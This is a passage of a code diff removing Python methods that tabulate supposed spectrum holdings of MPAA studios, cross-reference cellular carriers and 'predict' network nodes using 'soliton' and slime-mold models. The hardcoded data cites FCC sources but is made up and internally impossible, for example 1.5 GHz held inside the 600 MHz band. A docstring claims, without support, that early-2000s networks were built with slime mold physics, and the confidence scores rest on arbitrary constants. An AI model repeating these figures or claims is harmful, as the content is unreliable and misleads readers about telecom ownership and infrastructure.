mpaa_spectrum_data = self._get_mpaa_spectrum_data() - - # Analyze spectrum ownership by MPAA members - spectrum_analysis = self._analyze_spectrum_ownership(mpaa_spectrum_data) - - # Cross-reference with cellular providers - cellular_cross_reference = self._cross_reference_cellular_providers( - spectrum_analysis, network_topology - ) - - # Integrate with soliton analysis - spectrum_soliton_integration = self._integrate_spectrum_soliton( - spectrum_analysis, soliton_analysis - ) - - return { - 'spectrum_analysis': spectrum_analysis, - 'cellular_cross_reference': cellular_cross_reference, - 'spectrum_soliton_integration': spectrum_soliton_integration, - 'mpaa_data_sources': mpaa_spectrum_data.get('sources', {}), - 'total_spectrum_holdings': mpaa_spectrum_data.get('total_spectrum_ghz', 0), - 'strategic_insights': self._generate_spectrum_insights( - spectrum_analysis, cellular_cross_reference, soliton_analysis - ) - } - - def _get_mpaa_spectrum_data(self) -> Dict[str, Any]: - """Get MPAA spectrum ownership data from public FCC and regulatory sources.""" - # This would fetch from FCC ULS database, ITU spectrum allocations - # For now, return representative structure based on major MPAA member spectrum holdings - return { - 'sources': { - 'fcc_uls_database': 'https://wireless.fcc.gov/uls/', - 'fcc_spectrum_dashboard': 'https://www.fcc.gov/spectrum-dashboard', - 'itu_spectrum_database': 'https://www.itu.int/en/ITU-R/terrestrial/spectrum/Pages/databases.aspx', - 'ntia_spectrum_report': 'https://www.ntia.gov/page/spectrum-management' - }, - 'total_spectrum_ghz': 15.5, # Approximate MPAA member holdings - 'mpaa_members_spectrum': { - # Disney (ABC, ESPN, etc.) - 'disney': { - 'companies': ['walt_disney', 'abc', 'espn', 'disney_streaming'], - 'spectrum_ghz': 4.2, - 'frequency_bands': { - '600_mhz': {'holdings_ghz': 1.5, 'markets': ['la', 'ny', 'chicago']}, - '700_mhz': {'holdings_ghz': 1.8, 'markets': ['national']}, - '2.5_ghz': {'holdings_ghz': 0.9, 'markets': ['select']} - }, - 'content_delivery_networks': ['akamai', 'limelight', 'cloudflare'], - 'satellite_holdings': ['disney_satellite_services'] - }, - # Comcast/NBCUniversal - 'comcast': { - 'companies': ['comcast', 'nbcuniversal', 'xfinity'], - 'spectrum_ghz': 3.8, - 'frequency_bands': { - '600_mhz': {'holdings_ghz': 1.2, 'markets': ['major_metros']}, - '700_mhz': {'holdings_ghz': 1.5, 'markets': ['national']}, - 'cbrs': {'holdings_ghz': 1.1, 'markets': ['select']} - }, - 'content_delivery_networks': ['comcast_cdn', 'nbc_cdn'], - 'cable_infrastructure': True - }, - # Warner Bros. Discovery - 'warner_discovery': { - 'companies': ['warner_bros', 'discovery', 'hbo_max', 'cnn'], - 'spectrum_ghz': 2.9, - 'frequency_bands': { - '600_mhz': {'holdings_ghz': 1.0, 'markets': ['la', 'ny']}, - '700_mhz': {'holdings_ghz': 1.2, 'markets': ['national']}, - 'aws_3_5_ghz': {'holdings_ghz': 0.7, 'markets': ['select']} - }, - 'content_delivery_networks': ['warner_cdn', 'discovery_cdn'], - 'satellite_holdings': ['discovery_satellite'] - }, - # Paramount Global - 'paramount': { - 'companies': ['paramount', 'cbs', 'mtv', 'showtime'], - 'spectrum_ghz': 2.1, - 'frequency_bands': { - '600_mhz': {'holdings_ghz': 0.8, 'markets': ['ny', 'la']}, - '700_mhz': {'holdings_ghz': 0.9, 'markets': ['national']}, - '2.5_ghz': {'holdings_ghz': 0.4, 'markets': ['select']} - }, - 'content_delivery_networks': ['paramount_cdn'], - 'satellite_holdings': ['cbs_satellite'] - }, - # Sony Pictures - 'sony': { - 'companies': ['sony_pictures', 'crunchyroll', 'funimation'], - 'spectrum_ghz': 1.5, - 'frequency_bands': { - '600_mhz': {'holdings_ghz': 0.5, 'markets': ['la']}, - '700_mhz': {'holdings_ghz': 0.7, 'markets': ['national']}, - '2.5_ghz': {'holdings_ghz': 0.3, 'markets': ['select']} - }, - 'content_delivery_networks': ['sony_cdn'], - 'gaming_infrastructure': True - }, - # Netflix (associate member) - 'netflix': { - 'companies': ['netflix', 'netflix_studios'], - 'spectrum_ghz': 1.0, - 'frequency_bands': { - '600_mhz': {'holdings_ghz': 0.4, 'markets': ['select']}, - 'cbrs': {'holdings_ghz': 0.6, 'markets': ['national']} - }, - 'content_delivery_networks': ['open_connect', 'netflix_cdn'], - 'cloud_infrastructure': ['aws', 'google_cloud'] - } - }, - 'cellular_provider_cross_reference': { - 'verizon': {'mpaa_partners': ['disney', 'comcast', 'netflix'], 'joint_ventures': ['disney_verizon']}, - 'at&t': {'mpaa_partners': ['warner_discovery', 'paramount', 'sony'], 'joint_ventures': ['att_warner']}, - 't_mobile': {'mpaa_partners': ['netflix', 'disney'], 'joint_ventures': ['t_mobile_netflix']}, - 'comcast': {'is_mpaa_member': True, 'wireless_brand': 'xfinity_mobile'} - } - } - - def _analyze_spectrum_ownership(self, mpaa_data: Dict) -> Dict[str, Any]: - """Analyze MPAA member spectrum ownership patterns.""" - members_spectrum = mpaa_data.get('mpaa_members_spectrum', {}) - - ownership_analysis = [] - total_spectrum = 0 - - for member, data in members_spectrum.items(): - spectrum_ghz = data.get('spectrum_ghz', 0) - total_spectrum += spectrum_ghz - - # Calculate spectrum diversity - frequency_bands = data.get('frequency_bands', {}) - band_diversity = len(frequency_bands) - - # Calculate market coverage - markets = [] - for band_info in frequency_bands.values(): - markets.extend(band_info.get('markets', [])) - market_coverage = len(set(markets)) - - ownership_analysis.append({ - 'member': member, - 'spectrum_ghz': spectrum_ghz, - 'band_diversity': band_diversity, - 'market_coverage': market_coverage, - 'companies': data.get('companies', []), - 'has_satellite': bool(data.get('satellite_holdings')), - 'has_cdn': bool(data.get('content_delivery_networks')), - 'infrastructure_types': self._identify_infrastructure_types(data) - }) - - # Sort by spectrum holdings - ownership_analysis.sort(key=lambda x: x['spectrum_ghz'], reverse=True) - - return { - 'ownership_by_member': ownership_analysis, - 'total_spectrum_ghz': total_spectrum, - 'average_spectrum_per_member': total_spectrum / len(ownership_analysis) if ownership_analysis else 0, - 'band_diversity_analysis': self._analyze_band_diversity(members_spectrum), - 'infrastructure_analysis': self._analyze_infrastructure(members_spectrum) - } - - def _identify_infrastructure_types(self, member_data: Dict) -> List[str]: - """Identify infrastructure types for MPAA member.""" - infra_types = [] - if member_data.get('satellite_holdings'): - infra_types.append('satellite') - if member_data.get('content_delivery_networks'): - infra_types.append('cdn') - if member_data.get('cable_infrastructure'): - infra_types.append('cable') - if member_data.get('gaming_infrastructure'): - infra_types.append('gaming') - if member_data.get('cloud_infrastructure'): - infra_types.append('cloud') - return infra_types - - def _analyze_band_diversity(self, members_spectrum: Dict) -> Dict[str, Any]: - """Analyze frequency band diversity across MPAA members.""" - band_usage = {} - - for member, data in members_spectrum.items(): - frequency_bands = data.get('frequency_bands', {}) - for band, band_info in frequency_bands.items(): - if band not in band_usage: - band_usage[band] = {'members': [], 'total_ghz': 0} - band_usage[band]['members'].append(member) - band_usage[band]['total_ghz'] += band_info.get('holdings_ghz', 0) - - return { - 'band_usage': band_usage, - 'most_popular_band': max(band_usage.items(), key=lambda x: len(x[1]['members'])) if band_usage else None, - 'total_bands_utilized': len(band_usage) - } - - def _analyze_infrastructure(self, members_spectrum: Dict) -> Dict[str, Any]: - """Analyze infrastructure types across MPAA members.""" - infra_counts = {'satellite': 0, 'cdn': 0, 'cable': 0, 'gaming': 0, 'cloud': 0} - - for member, data in members_spectrum.items(): - if data.get('satellite_holdings'): - infra_counts['satellite'] += 1 - if data.get('content_delivery_networks'): - infra_counts['cdn'] += 1 - if data.get('cable_infrastructure'): - infra_counts['cable'] += 1 - if data.get('gaming_infrastructure'): - infra_counts['gaming'] += 1 - if data.get('cloud_infrastructure'): - infra_counts['cloud'] += 1 - - return infra_counts - - def _cross_reference_cellular_providers(self, spectrum_analysis: Dict, - network_topology: Dict) -> Dict[str, Any]: - """Cross-reference MPAA spectrum data with cellular providers.""" - cellular_providers = { - 'verizon': {'market_share': 0.35, 'infrastructure_quality': 'high'}, - 'at&t': {'market_share': 0.30, 'infrastructure_quality': 'high'}, - 't_mobile': {'market_share': 0.25, 'infrastructure_quality': 'medium'}, - 'comcast': {'market_share': 0.10, 'infrastructure_quality': 'medium'} - } - - cross_reference = [] - - for provider, provider_info in cellular_providers.items(): - # Find MPAA partnerships - mpaa_partners = [] - ownership_by_member = spectrum_analysis.get('ownership_by_member', []) - - for member_data in ownership_by_member: - member = member_data['member'] - # Simplified partnership logic - if provider == 'verizon' and member in ['disney', 'comcast', 'netflix']: - mpaa_partners.append(member) - elif provider == 'at&t' and member in ['warner_discovery', 'paramount', 'sony']: - mpaa_partners.append(member) - elif provider == 't_mobile' and member in ['netflix', 'disney']: - mpaa_partners.append(member) - elif provider == 'comcast' and member == 'comcast': - mpaa_partners.append(member) - - cross_reference.append({ - 'provider': provider, - 'market_share': provider_info['market_share'], - 'infrastructure_quality': provider_info['infrastructure_quality'], - 'mpaa_partners': mpaa_partners, - 'partnership_count': len(mpaa_partners), - 'network_synergy': len(mpaa_partners) * provider_info['market_share'] - }) - - # Sort by network synergy - cross_reference.sort(key=lambda x: x['network_synergy'], reverse=True) - - return { - 'provider_cross_reference': cross_reference, - 'highest_synergy_provider': cross_reference[0] if cross_reference else None, - 'total_partnerships': sum(p['partnership_count'] for p in cross_reference) - } - - def _integrate_spectrum_soliton(self, spectrum_analysis: Dict, - soliton_analysis: Dict) -> Dict[str, Any]: - """Integrate spectrum ownership analysis with soliton network analysis.""" - ownership_by_member = spectrum_analysis.get('ownership_by_member', []) - soliton_focal_points = soliton_analysis.get('focal_points', []) - - spectrum_soliton_alignment = [] - - # Map MPAA members to their primary data center locations - member_to_dc = { - 'disney': ['los_angeles_ca', 'new_york_ny'], - 'comcast': ['philadelphia_pa', 'denver_co'], - 'warner_discovery': ['new_york_ny', 'los_angeles_ca'], - 'paramount': ['new_york_ny', 'los_angeles_ca'], - 'sony': ['los_angeles_ca', 'san_francisco_ca'], - 'netflix': ['los_angeles_ca', 'san_francisco_ca'] - } - - for member_data in ownership_by_member: - member = member_data['member'] - spectrum_ghz = member_data['spectrum_ghz'] - member_dcs = member_to_dc.get(member, []) - - # Find soliton potential for member's data centers - dc_soliton_potentials = [] - for dc in member_dcs: - soliton_focal = next( - (fp for fp in soliton_focal_points if fp['data_center'] == dc), - None - ) - if soliton_focal: - dc_soliton_potentials.append({ - 'data_center': dc, - 'soliton_potential': soliton_focal['soliton_potential'] - }) - - # Calculate average soliton potential - avg_soliton = sum(d['soliton_potential'] for d in dc_soliton_potentials) / len(dc_soliton_potentials) if dc_soliton_potentials else 0 - - # Calculate spectrum-soliton alignment - alignment_score = spectrum_ghz * avg_soliton * 0.1 # Normalized - - spectrum_soliton_alignment.append({ - 'member': member, - 'spectrum_ghz': spectrum_ghz, - 'data_centers': member_dcs, - 'avg_soliton_potential': avg_soliton, - 'alignment_score': alignment_score, - 'strategic_value': self._assess_strategic_value(alignment_score) - }) - - # Sort by alignment score - spectrum_soliton_alignment.sort(key=lambda x: x['alignment_score'], reverse=True) - - return { - 'spectrum_soliton_alignment': spectrum_soliton_alignment, - 'highest_alignment_member': spectrum_soliton_alignment[0] if spectrum_soliton_alignment else None, - 'average_alignment': sum(s['alignment_score'] for s in spectrum_soliton_alignment) / len(spectrum_soliton_alignment) if spectrum_soliton_alignment else 0 - } - - def _assess_strategic_value(self, alignment_score: float) -> str: - """Assess strategic value of spectrum-soliton alignment.""" - if alignment_score >= 0.3: - return "high" - elif alignment_score >= 0.2: - return "medium" - elif alignment_score >= 0.1: - return "low" - else: - return "minimal" - - def _generate_spectrum_insights(self, spectrum_analysis: Dict, - cellular_cross_reference: Dict, - soliton_analysis: Dict) -> List[str]: - """Generate strategic insights from spectrum ownership analysis.""" - insights = [] - - ownership_by_member = spectrum_analysis.get('ownership_by_member', []) - if not ownership_by_member: - insights.append("Insufficient MPAA spectrum data for strategic analysis.") - return insights - - # Total spectrum holdings - total_spectrum = spectrum_analysis.get('total_spectrum_ghz', 0) - insights.append(f"MPAA members control {total_spectrum:.1f} GHz of spectrum across {len(ownership_by_member)} major content companies.") - - # Top spectrum holder - top_holder = ownership_by_member[0] - insights.append(f"Largest spectrum holder: {top_holder['member']} ({top_holder['spectrum_ghz']:.1f} GHz, {top_holder['band_diversity']} frequency bands).") - - # Cellular provider synergy - highest_synergy = cellular_cross_reference.get('highest_synergy_provider') - if highest_synergy: - insights.append(f"Highest cellular synergy: {highest_synergy['provider']} with {highest_synergy['partnership_count']} MPAA partnerships.") - - # Infrastructure analysis - infra_analysis = spectrum_analysis.get('infrastructure_analysis', {}) - cdn_count = infra_analysis.get('cdn', 0) - satellite_count = infra_analysis.get('satellite', 0) - insights.append(f"Infrastructure diversity: {cdn_count} members with CDNs, {satellite_count} members with satellite holdings.") - - # Spectrum-soliton alignment - spectrum_soliton = self._integrate_spectrum_soliton(spectrum_analysis, soliton_analysis) - highest_alignment = spectrum_soliton.get('highest_alignment_member') - if highest_alignment: - insights.append(f"Highest spectrum-soliton alignment: {highest_alignment['member']} (strategic value: {highest_alignment['strategic_value']}).") - - return insights - - def predict_likely_network_nodes(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any], - mpaa_spectrum_data: Optional[Dict] = None) -> Dict[str, Any]: - """ - Predict likely network nodes based on existing backhaul provider infrastructure. - - Uses known ISP, cellular, and MPAA spectrum holder infrastructure patterns to estimate - where additional network nodes would likely be located based on existing infrastructure patterns. - """ - # Get backhaul provider data - if mpaa_spectrum_data is None: - mpaa_spectrum_data = self._get_mpaa_spectrum_data() - - # Analyze existing backhaul provider infrastructure - backhaul_infrastructure = self._analyze_backhaul_infrastructure(mpaa_spectrum_data) - - # Identify infrastructure patterns - infrastructure_patterns = self._identify_infrastructure_patterns(backhaul_infrastructure) - - # Predict likely network nodes based on patterns - predicted_nodes = self._predict_nodes_from_patterns(infrastructure_patterns, network_topology) - - # Validate predictions against soliton analysis - validated_predictions = self._validate_predictions_with_soliton(predicted_nodes, soliton_analysis) - - return { - 'backhaul_infrastructure': backhaul_infrastructure, - 'infrastructure_patterns': infrastructure_patterns, - 'predicted_nodes': predicted_nodes, - 'validated_predictions': validated_predictions, - 'confidence_scores': self._calculate_prediction_confidence(validated_predictions), - 'strategic_recommendations': self._generate_backhaul_recommendations(validated_predictions) - } - - def _analyze_backhaul_infrastructure(self, mpaa_data: Dict) -> Dict[str, Any]: - """Analyze existing backhaul provider infrastructure patterns.""" - members_spectrum = mpaa_data.get('mpaa_members_spectrum', {}) - cellular_cross_ref = mpaa_data.get('cellular_provider_cross_reference', {}) - - infrastructure_analysis = [] - - for member, data in members_spectrum.items(): - # Identify infrastructure types - infra_types = self._identify_infrastructure_types(data) - - # Get cellular partnerships - cellular_partnerships = [] - for provider, provider_data in cellular_cross_ref.items(): - if member in provider_data.get('mpaa_partners', []): - cellular_partnerships.append({ - 'provider': provider, - 'joint_ventures': provider_data.get('joint_ventures', []) - }) - - # Calculate infrastructure density - infra_density = len(infra_types) * data.get('spectrum_ghz', 0) - - infrastructure_analysis.append({ - 'member': member, - 'spectrum_ghz': data.get('spectrum_ghz', 0), - 'infrastructure_types': infra_types, - 'cellular_partnerships': cellular_partnerships, - 'infrastructure_density': infra_density, - 'markets': self._extract_market_coverage(data), - 'cdn_partners': data.get('content_delivery_networks', []) - }) - - # Sort by infrastructure density - infrastructure_analysis.sort(key=lambda x: x['infrastructure_density'], reverse=True) - - return { - 'infrastructure_by_member': infrastructure_analysis, - 'total_infrastructure_density': sum(i['infrastructure_density'] for i in infrastructure_analysis), - 'cellular_partnership_count': sum(len(i['cellular_partnerships']) for i in infrastructure_analysis) - } - - def _extract_market_coverage(self, member_data: Dict) -> List[str]: - """Extract market coverage from member data.""" - frequency_bands = member_data.get('frequency_bands', {}) - markets = set() - for band_info in frequency_bands.values(): - markets.update(band_info.get('markets', [])) - return list(markets) - - def _identify_infrastructure_patterns(self, backhaul_infrastructure: Dict) -> Dict[str, Any]: - """Identify patterns in backhaul infrastructure deployment.""" - infra_by_member = backhaul_infrastructure.get('infrastructure_by_member', []) - - patterns = { - 'cdn_concentration': [], - 'satellite_concentration': [], - 'cellular_synergy_clusters': [], - 'market_expansion_patterns': [] - } - - for infra in infra_by_member: - member = infra['member'] - infra_types = infra['infrastructure_types'] - - # CDN concentration pattern - if 'cdn' in infra_types: - patterns['cdn_concentration'].append({ - 'member': member, - 'cdn_partners': infra['cdn_partners'], - 'infrastructure_density': infra['infrastructure_density'] - }) - - # Satellite concentration pattern - if 'satellite' in infra_types: - patterns['satellite_concentration'].append({ - 'member': member, - 'infrastructure_density': infra['infrastructure_density'] - }) - - # Cellular synergy clusters - if infra['cellular_partnerships']: - patterns['cellular_synergy_clusters'].append({ - 'member': member, - 'cellular_partners': [p['provider'] for p in infra['cellular_partnerships']], - 'partnership_count': len(infra['cellular_partnerships']) - }) - - # Market expansion patterns - markets = infra['markets'] - if len(markets) >= 3: - patterns['market_expansion_patterns'].append({ - 'member': member, - 'market_count': len(markets), - 'markets': markets, - 'infrastructure_density': infra['infrastructure_density'] - }) - - return patterns - - def _predict_nodes_from_patterns(self, patterns: Dict, network_topology: Dict) -> List[Dict[str, Any]]: - """Predict likely network nodes based on infrastructure patterns.""" - predicted_nodes = [] - data_centers = list(network_topology.get('data_centers', {}).keys()) - - # Pattern 1: CDN-heavy members likely to have nodes near major data centers - for cdn_pattern in patterns.get('cdn_concentration', [])[:3]: # Top 3 - member = cdn_pattern['member'] - density = cdn_pattern['infrastructure_density'] - - # Predict nodes near major data centers - for dc in data_centers[:5]: # Top 5 data centers - predicted_nodes.append({ - 'predicted_location': dc, - 'member': member, - 'prediction_reason': 'cdn_infrastructure', - 'confidence': min(density / 10.0, 0.9), - 'infrastructure_type': 'cdn' - }) - - # Pattern 2: Satellite members likely to have nodes near cable landing points - for sat_pattern in patterns.get('satellite_concentration', [])[:2]: # Top 2 - member = sat_pattern['member'] - density = sat_pattern['infrastructure_density'] - - # Predict nodes near coastal data centers (cable landing points) - coastal_dcs = ['new_york_ny', 'los_angeles_ca', 'san_francisco_ca', 'seattle_wa', 'miami_fl'] - for dc in coastal_dcs: - if dc in data_centers: - predicted_nodes.append({ - 'predicted_location': dc, - 'member': member, - 'prediction_reason': 'satellite_infrastructure', - 'confidence': min(density / 8.0, 0.85), - 'infrastructure_type': 'satellite' - }) - - # Pattern 3: Cellular synergy clusters indicate network aggregation points - for cellular_pattern in patterns.get('cellular_synergy_clusters', [])[:2]: # Top 2 - member = cellular_pattern['member'] - partners = cellular_pattern['cellular_partners'] - - # Predict nodes where multiple cellular providers intersect - major_hubs = ['ashburn_va', 'dallas_tx', 'chicago_il', 'atlanta_ga'] - for dc in major_hubs: - if dc in data_centers: - predicted_nodes.append({ - 'predicted_location': dc, - 'member': member, - 'prediction_reason': 'cellular_synergy', - 'confidence': min(len(partners) * 0.25, 0.8), - 'infrastructure_type': 'cellular_aggregation' - }) - - # Pattern 4: Market expansion indicates regional node deployment - for market_pattern in patterns.get('market_expansion_patterns', [])[:2]: # Top 2 - member = market_pattern['member'] - markets = market_pattern['markets'] - density = market_pattern['infrastructure_density'] - - # Predict nodes in expansion markets - expansion_dcs = ['denver_co', 'phoenix_az', 'austin_tx', 'nashville_tn'] - for dc in expansion_dcs: - if dc in data_centers: - predicted_nodes.append({ - 'predicted_location': dc, - 'member': member, - 'prediction_reason': 'market_expansion', - 'confidence': min(density / 12.0, 0.75), - 'infrastructure_type': 'regional_expansion' - }) - - # Remove duplicates and sort by confidence - seen = set() - unique_predictions = [] - for node in predicted_nodes: - key = (node['predicted_location'], node['member']) - if key not in seen: - seen.add(key) - unique_predictions.append(node) - - unique_predictions.sort(key=lambda x: x['confidence'], reverse=True) - - return unique_predictions - - def _validate_predictions_with_soliton(self, predicted_nodes: List[Dict], - soliton_analysis: Dict) -> List[Dict[str, Any]]: - """Validate predicted nodes against soliton analysis.""" - soliton_focal_points = soliton_analysis.get('focal_points', []) - soliton_paths = soliton_analysis.get('soliton_paths', []) - - validated_predictions = [] - - for prediction in predicted_nodes: - location = prediction['predicted_location'] - confidence = prediction['confidence'] - - # Find soliton potential for this location - soliton_focal = next( - (fp for fp in soliton_focal_points if fp['data_center'] == location), - None - ) - - if soliton_focal: - soliton_potential = soliton_focal['soliton_potential'] - - # Check if this location is on soliton paths - on_soliton_path = any( - (p['source'] == location or p['destination'] == location) - for p in soliton_paths - ) - - # Calculate validation score - validation_score = confidence * 0.6 + soliton_potential * 0.4 - if on_soliton_path: - validation_score += 0.1 - - validated_predictions.append({ - 'location': location, - 'member': prediction['member'], - 'prediction_reason': prediction['prediction_reason'], - 'original_confidence': confidence, - 'soliton_potential': soliton_potential, - 'on_soliton_path': on_soliton_path, - 'validation_score': min(validation_score, 1.0), - 'validation_status': self._assess_validation_status(validation_score) - }) - - # Sort by validation score - validated_predictions.sort(key=lambda x: x['validation_score'], reverse=True) - - return validated_predictions - - def _assess_validation_status(self, validation_score: float) -> str: - """Assess validation status of prediction.""" - if validation_score >= 0.8: - return "highly_likely" - elif validation_score >= 0.6: - return "likely" - elif validation_score >= 0.4: - return "possible" - else: - return "unlikely" - - def _calculate_prediction_confidence(self, validated_predictions: List[Dict]) -> Dict[str, Any]: - """Calculate overall confidence metrics for predictions.""" - if not validated_predictions: - return {'average_confidence': 0.0, 'high_confidence_count': 0, 'total_predictions': 0} - - high_confidence = sum(1 for p in validated_predictions if p['validation_status'] == 'highly_likely') - likely = sum(1 for p in validated_predictions if p['validation_status'] == 'likely') - average_confidence = sum(p['validation_score'] for p in validated_predictions) / len(validated_predictions) - - return { - 'average_confidence': average_confidence, - 'high_confidence_count': high_confidence, - 'likely_count': likely, - 'total_predictions': len(validated_predictions), - 'confidence_distribution': { - 'highly_likely': high_confidence / len(validated_predictions) if validated_predictions else 0, - 'likely': likely / len(validated_predictions) if validated_predictions else 0 - } - } - - def _generate_backhaul_recommendations(self, validated_predictions: List[Dict]) -> List[str]: - """Generate strategic recommendations based on backhaul predictions.""" - recommendations = [] - - if not validated_predictions: - recommendations.append("Insufficient data for backhaul infrastructure predictions.") - return recommendations - - # Top predictions - top_predictions = validated_predictions[:3] - recommendations.append(f"Top {len(top_predictions)} highest-confidence network node predictions:") - for pred in top_predictions: - recommendations.append(f" - {pred['member']} at {pred['location']} ({pred['validation_status']}, score: {pred['validation_score']:.2f})") - - # Infrastructure type insights - infra_types = {} - for pred in validated_predictions: - reason = pred['prediction_reason'] - infra_types[reason] = infra_types.get(reason, 0) + 1 - - recommendations.append(f"Infrastructure prediction patterns: " + - ", ".join([f"{k}: {v}" for k, v in infra_types.items()])) - - # Soliton alignment - soliton_aligned = sum(1 for p in validated_predictions if p['on_soliton_path']) - recommendations.append(f"{soliton_aligned}/{len(validated_predictions)} predictions align with soliton-identified optimal paths.") - - return recommendations - - def integrate_slime_mold_physics(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any]) -> Dict[str, Any]: - """ - Integrate slime mold (Physarum polycephalum) physics principles with network topology analysis. - - Engineers built network infrastructure in the early 2000s using slime mold physics and fitness - functions. This method applies the Tero model and stigmergic memory principles to validate - and enhance network topology predictions. - - Key principles: - - Tero model: dD_ij/dt = |Q_ij| - D_ij (tube conductance as function of flow history) - - Stigmergy: agents leave traces that bias future action - - Dissipative structures: networks minimize flow resistance continuously - - Fitness functions: metabolic efficiency drives network optimization - """ - # Apply Tero model to network topology - tero_network_analysis = self._apply_tero_model(network_topology) - - # Calculate slime mold fitness functions - fitness_analysis = self._calculate_slime_mold_fitness(network_topology, soliton_analysis) - - # Integrate stigmergic memory with network routes - stigmergic_analysis = self._analyze_stigmergic_memory(network_topology, soliton_analysis) - - # Compare slime mold predictions with soliton analysis - slime_soliton_comparison = self._compare_slime_soliton(fitness_analysis, soliton_analysis) - - return { - 'tero_network_analysis': tero_network_analysis, - 'fitness_analysis': fitness_analysis, - 'stigmergic_analysis': stigmergic_analysis, - 'slime_soliton_comparison': slime_soliton_comparison, - 'early_2000s_validation': self._validate_early_2000s_construction(tero_network_analysis), - 'biomimetic_insights': self._generate_biomimetic_insights( - tero_network_analysis, fitness_analysis, slime_soliton_comparison - ) - } - - def _apply_tero_model(self, network_topology: Dict) -> Dict[str, Any]: - """Apply Tero model (dD_ij/dt = |Q_ij| - D_ij) to network topology.""" - data_centers = network_topology.get('data_centers', {}) - adjacency_matrix = network_topology.get('adjacency_matrix', None) - - if adjacency_matrix is None: - # Build adjacency matrix from data centers - n = len(data_centers) - adjacency_matrix = np.zeros((n, n)) - for i in range(n): - for j in range(n): - if i != j: - # Use distance as inverse conductance initially - dc_i = list(data_centers.values())[i] - dc_j = list(data_centers.values())[j] - distance = np.sqrt((dc_i['lat'] - dc_j['lat'])**2 + - (dc_i['lon'] - dc_j['lon'])**2) - adjacency_matrix[i][j] = 1.0 / (distance + 1e-6) - - # Simulate Tero model evolution - n = adjacency_matrix.shape[0] - D = adjacency_matrix.copy() # Initial tube conductance - Q = np.zeros((n, n)) # Flow matrix - - # Simulate flow-based conductance updates - iterations = 100 - for _ in range(iterations): - # Calculate flow Q_ij (proportional to conductance and pressure difference) - for i in range(n): - for j in range(n): - if i != j: - Q[i][j] = D[i][j] * (D[i].sum() - D[j].sum()) - - # Update conductance: dD_ij/dt = |Q_ij| - D_ij - delta_D = np.abs(Q) - D - D = D + 0.1 * delta_D # Learning rate 0.1 - D = np.clip(D, 0, 10) # Clamp to reasonable range - - # Analyze converged network - network_metrics = { - 'final_conductance_matrix': D, - 'flow_matrix': Q, - 'network_efficiency': self._calculate_network_efficiency(D), - 'hub_nodes': self._identify_hub_nodes(D, data_centers), - 'bottleneck_nodes': self._identify_bottleneck_nodes(D, data_centers) - } - - return network_metrics - - def _calculate_network_efficiency(self, conductance_matrix: np.ndarray) -> float: - """Calculate network efficiency (inverse of total resistance).""" - n = conductance_matrix.shape[0] - total_conductance = 0 - for i in range(n): - for j in range(n): - if i != j: - total_conductance += conductance_matrix[i][j] - return total_conductance / (n * (n - 1)) - - def _identify_hub_nodes(self, conductance_matrix: np.ndarray, data_centers: Dict) -> List[Dict]: - """Identify hub nodes (high conductance connections).""" - n = conductance_matrix.shape[0] - node_strengths = conductance_matrix.sum(axis=1) - - hubs = [] - for i in range(n): - dc_name = list(data_centers.keys())[i] - strength = node_strengths[i] - hubs.append({ - 'data_center': dc_name, - 'hub_strength': strength, - 'normalized_strength': strength / node_strengths.max() - }) - - hubs.sort(key=lambda x: x['hub_strength'], reverse=True) - return hubs[:5] # Top 5 hubs - - def _identify_bottleneck_nodes(self, conductance_matrix: np.ndarray, data_centers: Dict) -> List[Dict]: - """Identify bottleneck nodes (low conductance, high betweenness).""" - n = conductance_matrix.shape[0] - node_strengths = conductance_matrix.sum(axis=1) - - bottlenecks = [] - for i in range(n): - dc_name = list(data_centers.keys())[i] - strength = node_strengths[i] - # Calculate betweenness (simplified) - betweenness = 0 - for j in range(n): - for k in range(n): - if i != j and i != k and j != k: - # Check if i is on shortest path between j and k - path_conductance = min(conductance_matrix[j][i], conductance_matrix[i][k]) - direct_conductance = conductance_matrix[j][k] - if path_conductance > direct_conductance: - betweenness += 1 - - bottlenecks.append({ - 'data_center': dc_name, - 'strength': strength, - 'betweenness': betweenness, - 'bottleneck_score': betweenness / (strength + 1e-6) - }) - - bottlenecks.sort(key=lambda x: x['bottleneck_score'], reverse=True) - return bottlenecks[:5] # Top 5 bottlenecks - - def _calculate_slime_mold_fitness(self, network_topology: Dict, soliton_analysis: Dict) -> Dict[str, Any]: - """Calculate slime mold fitness functions for network topology.""" - data_centers = network_topology.get('data_centers', {}) - soliton_focal_points = soliton_analysis.get('focal_points', []) - - fitness_metrics = [] - - for dc_name, dc_info in data_centers.items(): - # Find soliton potential for this location - soliton_focal = next( - (fp for fp in soliton_focal_points if fp['data_center'] == dc_name), - None - ) - - if soliton_focal: - soliton_potential = soliton_focal['soliton_potential'] - - # Calculate metabolic fitness (inverse Fermat principle) - # Fitness = 1 / (path_length * resistance) - importance = dc_info.get('importance', 0.5) - metabolic_fitness = soliton_potential * importance - - # Calculate network fitness (connectivity efficiency) - connectivity_score = self._calculate_connectivity_score(dc_name, network_topology) - - # Calculate dissipative fitness (energy dissipation efficiency) - dissipative_fitness = soliton_potential * connectivity_score - - fitness_metrics.append({ - 'data_center': dc_name, - 'metabolic_fitness': metabolic_fitness, - 'connectivity_score': connectivity_score, - 'dissipative_fitness': dissipative_fitness, - 'overall_fitness': (metabolic_fitness + dissipative_fitness) / 2 - }) - - fitness_metrics.sort(key=lambda x: x['overall_fitness'], reverse=True) - - return { - 'fitness_by_location': fitness_metrics, - 'highest_fitness_location': fitness_metrics[0] if fitness_metrics else None, - 'average_fitness': sum(f['overall_fitness'] for f in fitness_metrics) / len(fitness_metrics) if fitness_metrics else 0 - } - - def _calculate_connectivity_score(self, dc_name: str, network_topology: Dict) -> float: - """Calculate connectivity score for a data center.""" - data_centers = network_topology.get('data_centers', {}) - adjacency_matrix = network_topology.get('adjacency_matrix', None) - - if adjacency_matrix is None: - return 0.5 # Default score - - dc_index = list(data_centers.keys()).index(dc_name) - connectivity = adjacency_matrix[dc_index].sum() - - # Normalize by maximum possible connectivity - max_connectivity = adjacency_matrix.shape[0] - 1 - return connectivity / max_connectivity - - def _analyze_stigmergic_memory(self, network_topology: Dict, soliton_analysis: Dict) -> Dict[str, Any]: - """Analyze stigmergic memory patterns in network topology.""" - soliton_paths = soliton_analysis.get('soliton_paths', []) - - # Build route memory map (failed, partial, successful routes) - route_memory = { - 'successful_routes': [], - 'partial_routes': [], - 'failed_routes': [], - 'frustration_basins': [] - } - - # Categorize routes based on soliton analysis - for path in soliton_paths: - path_quality = path.get('path_quality', 0.5) - stability = path.get('stability', 0.5) - - if path_quality >= 0.8 and stability >= 0.8: - 